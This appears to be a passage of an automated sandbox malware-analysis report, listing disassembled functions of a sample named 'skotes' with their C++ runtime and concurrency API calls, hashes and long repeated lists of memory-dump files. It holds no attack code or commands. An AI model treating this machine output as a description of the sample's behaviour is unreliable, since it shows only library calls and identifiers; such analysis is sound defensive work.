                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1924466884-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 139c0ce5e9f16b230d1edcc1a4cb6086410cf644cb2ef797f0ff31f121142ec6
                                                                                                                                                                                                                                                                                    • Instruction ID: e34476ee75a22cd3278ebff6fe2419741c7420969e622fdf874472c8917f37af
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 139c0ce5e9f16b230d1edcc1a4cb6086410cf644cb2ef797f0ff31f121142ec6
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9941F575A002089FCB05EF64C895AADB7F5BF48310F1980AAED499B382DB30A941CB91
                                                                                                                                                                                                                                                                                    Function 00166E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • __Mtx_unlock.LIBCPMT ref: 00166ED1
                                                                                                                                                                                                                                                                                    • std::_Rethrow_future_exception.LIBCPMT ref: 00166F22
                                                                                                                                                                                                                                                                                    • std::_Rethrow_future_exception.LIBCPMT ref: 00166F32
                                                                                                                                                                                                                                                                                    • __Mtx_unlock.LIBCPMT ref: 00166FD5
                                                                                                                                                                                                                                                                                    • __Mtx_unlock.LIBCPMT ref: 001670DB
                                                                                                                                                                                                                                                                                    • __Mtx_unlock.LIBCPMT ref: 00167116
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1997747980-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 8e709f5eb1707592543d96f5eab1fb1097becd3fa539114f8502c031d263a025
                                                                                                                                                                                                                                                                                    • Instruction ID: 737b49559a40873b30520e91ff5a8f139883c744532a306ae2fb4ec3c3420c02
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8e709f5eb1707592543d96f5eab1fb1097becd3fa539114f8502c031d263a025
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 14C1FF71904308DFDB20DFB4CC45BAEBBF4AF15314F00456EE85697682EB35A968CBA1
                                                                                                                                                                                                                                                                                    Function 001744DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ListArray.LIBCONCRT ref: 00174538
                                                                                                                                                                                                                                                                                    • ListArray.LIBCONCRT ref: 0017456C
                                                                                                                                                                                                                                                                                    • Hash.LIBCMT ref: 001745D5
                                                                                                                                                                                                                                                                                    • Hash.LIBCMT ref: 001745E5
                                                                                                                                                                                                                                                                                      • Part of subcall function 00179C41: std::bad_exception::bad_exception.LIBCMT ref: 00179C63
                                                                                                                                                                                                                                                                                    • Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0017474B
                                                                                                                                                                                                                                                                                    • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 001747A4
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3010677857-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 2b4f17d3b2f6e1ad06e2b26bd2942a964cb71fc6ec6024f40daa252b6fa2e3c3
                                                                                                                                                                                                                                                                                    • Instruction ID: 46c45680768240a3721f3489d87ccc9b8fcec4704da07f2b0f524cf7cf08f5ae
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2b4f17d3b2f6e1ad06e2b26bd2942a964cb71fc6ec6024f40daa252b6fa2e3c3
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 98814DB0A11B52BBD708DF74C845BD9FAB8BF19714F10821AF52C97281DBB4A624CBD1
                                                                                                                                                                                                                                                                                    Function 0016EE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • _SpinWait.LIBCONCRT ref: 0016EEBC
                                                                                                                                                                                                                                                                                    • Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0016EEC8
                                                                                                                                                                                                                                                                                    • Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0016EEE1
                                                                                                                                                                                                                                                                                    • Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0016EF0F
                                                                                                                                                                                                                                                                                    • Concurrency::Context::Block.LIBCONCRT ref: 0016EF31
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1182035702-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 40dd4fe1c3aaea9bfa38b76c649066daa03c8413588b8708486ddb244c256e8d
                                                                                                                                                                                                                                                                                    • Instruction ID: 9f49d6291d72c3280f64f9ceae0913e76bca40eca9c2db644bfb59f828f647e2
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 40dd4fe1c3aaea9bfa38b76c649066daa03c8413588b8708486ddb244c256e8d
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F4216B74C142098BDF28DFA4CC556EEBBF1BF24320F200A6EE055A61D1EBB14A54CB90
                                                                                                                                                                                                                                                                                    Function 00181B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00181B57
                                                                                                                                                                                                                                                                                    • std::invalid_argument::invalid_argument.LIBCONCRT ref: 00181B66
                                                                                                                                                                                                                                                                                    • std::invalid_argument::invalid_argument.LIBCONCRT ref: 00181C2A
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
